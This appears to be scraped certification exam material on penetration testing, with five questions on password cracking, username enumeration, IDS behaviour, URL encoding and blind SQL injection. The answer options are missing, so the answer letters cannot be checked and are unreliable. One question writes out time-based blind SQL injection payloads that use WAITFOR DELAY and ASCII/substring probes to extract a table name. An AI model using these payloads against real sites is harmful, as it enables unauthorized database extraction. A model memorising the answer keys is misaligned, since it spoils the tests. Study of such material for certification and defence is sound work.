Which of the following password cracking techniques is used when the attacker has some information about the password?

Correct Answer: D 🗳️
Reference: http://202.154.59.182/mfile/files/Information%20System/Computer%20Forensics%3B%20Hard%20Disk%20and%20Operating%20Systems/
CHAPTER%207%20Application%20Password%20Crackers.pdf (page 4, rule-based attack)

Which of the following is an application alert returned by a web application that helps an attacker guess a valid username?

Correct Answer: C 🗳️

A pen tester has extracted a database name by using a blind SQL injection. Now he begins to test the table inside the database using the below query and finds the table: http://juggyboy.com/page.aspx?id=1; IF (LEN(SELECT TOP 1 NAME from sysobjects where xtype='U')=3) WAITFOR DELAY '00:00:10'-- http://juggyboy.com/page.aspx?id=1; IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where xtype=char(85)),1,1)))=101) WAITFOR DELAY
'00:00:10'--
http://juggyboy.com/page.aspx?id=1; IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where xtype=char(85)),2,1)))=109) WAITFOR DELAY
'00:00:10'--
http://juggyboy.com/page.aspx?id=1; IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where xtype=char(85)),3,1)))=112) WAITFOR DELAY
'00:00:10'
What is the table name?

Correct Answer: C 🗳️

When you are running a vulnerability scan on a network and the IDS cuts off your connection, what type of IDS is being used?

Correct Answer: B 🗳️

HTTP protocol specifies that arbitrary binary characters can be passed within the URL by using %xx notation, where 'xx' is the

Correct Answer: D 🗳️
https://books.google.nl/books?id=0RfANAwOUdIC&pg=PA720&lpg=PA720&dq=%22xx+notation%22
+binary&source=bl&ots=pGMqass7ti&sig=rnIg1xZ78ScUvuIlTmDY3r7REuc&hl=nl&sa=X&ei=8C4dVYe1NorgasrzgoAL&ved=0CEQQ6AEwBQ#v=onepage&q=%
22xx%20notation%22%20binary&f=false